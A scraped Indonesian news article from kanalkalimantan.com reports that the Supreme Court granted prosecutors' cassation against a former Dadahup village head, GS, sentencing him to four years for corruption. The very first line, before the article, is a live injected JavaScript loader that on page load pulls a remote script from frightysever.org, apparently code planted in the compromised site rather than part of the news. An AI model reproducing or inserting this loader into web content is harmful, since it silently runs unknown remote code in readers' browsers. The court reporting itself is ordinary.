(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Upaya hukum kasasi Jaksa Penuntut Umum (JPU) Cabang Kejaksaan Negeri (Cabjari) Kapuas di Palingkau terkait kasus tindak pidana korupsi mantan Kepala Desa (Kades) Dadahup GS dikabulkan Mahkamah Agung (MA). GS akan segera dieksekusi.
Upaya hukum kasasi JPU dilakukan setelah Majelis Hakim Pengadilan Tindak Pidana Korupsi pada Pengadilan Negeri Palangkaraya membacakan putusan berdasarkan Putusan Nomor 1/Pid.Sus-TPK/2022/PN.PIk tanggal 7 Juni 2022 memberikan vonis lepas dari segala tuntutan terhadap GS.
Kepala Kejari Kapuas Arif Raharjo SH MH didampingi para Kasi dan Kepala Cabjari Kapuas di Palingkau Teguh F Wahyudi, Senin (6/2/2023), mengatakan, JPU Cabang Kejaksaan Negeri Kapuas di Palingkau dalam jangka waktu dekat akan melakukan pemanggilan terhadap terpidana.
“Kemudian segera melakukan eksekusi dengan cara memasukkan terpidana GS ke Lapas untuk menjalani pidana yang dijatuhkan, serta melakukan eksekusi barang bukti sesuai amar putusan kasasi,” kata Arif Raharjo kepada sejumlah wartawan.
Baca juga: Banyak Diminati, Fakultas Hukum UNISKA Siap Buka Program Kelas Internasional
Kajari menjelaskan, pada Selasa 31 Januari 2023, Cabang Kejaksaan Negeri Kapuas di Palingkau telah menerima Petikan Putusan Nomor 6758 K/Pid.Sus/2022 tanggal 20 Desember 2022 dengan amar putusannya sebagai berikut :
Mengadili, mengabulkan permohonan kasasi dari pemohon kasasi/Penuntut Umum pada Cabang Kejaksaan Negeri Kapuas di Palingkau.
Membatalkan Putusan Pengadilan Tindak Pidana Korupsi pada Pengadilan Negeri Palangka Raya Nomor: 1/Pid. Sus-TPK/2022/PN.PIk tanggal 07 Juni 2022 tersebut.
Lalu, mengadili sendiri, menyatakan bahwa terdakwa GS telah terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana korupsi menjatuhkan pidana kepada terdakwa oleh karena itu dengan pidana penjara selama 4 tahun dan pidana denda sebesar Rp 200 juta.
“Dengan ketentuan apabila denda tersebut tidak dibayar, maka diganti dengan pidana kurungan selama dua bulan,” ucapnya.
Kemudian, menetapkan masa penahanan yang telah dijalani oleh terdakwa dikurangkan seluruhnya dari pidana yang dijatuhkan, juga memerintahkan agar terdakwa tersebut ditahan.
Baca juga: Penerima PKH di Kelurahan Panamas Didata Terima Modal Usaha Potensial
“Menetapkan barang bukti berupa dokumen dikembalikan kepada yang berhak, sementara barang bukti berupa uang tunai sebesar Rp 18.150.000 hasil pungutan desa yang diperuntukkan Pendapatan Asli Desa dirampas untuk negara, kemudian dua stempel tanda tangan dirampas untuk dimusnahkan,” tegasnya. (kanalkalimantan.com/ags)
Reporter: ags
Editor : kk
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
This website uses cookies.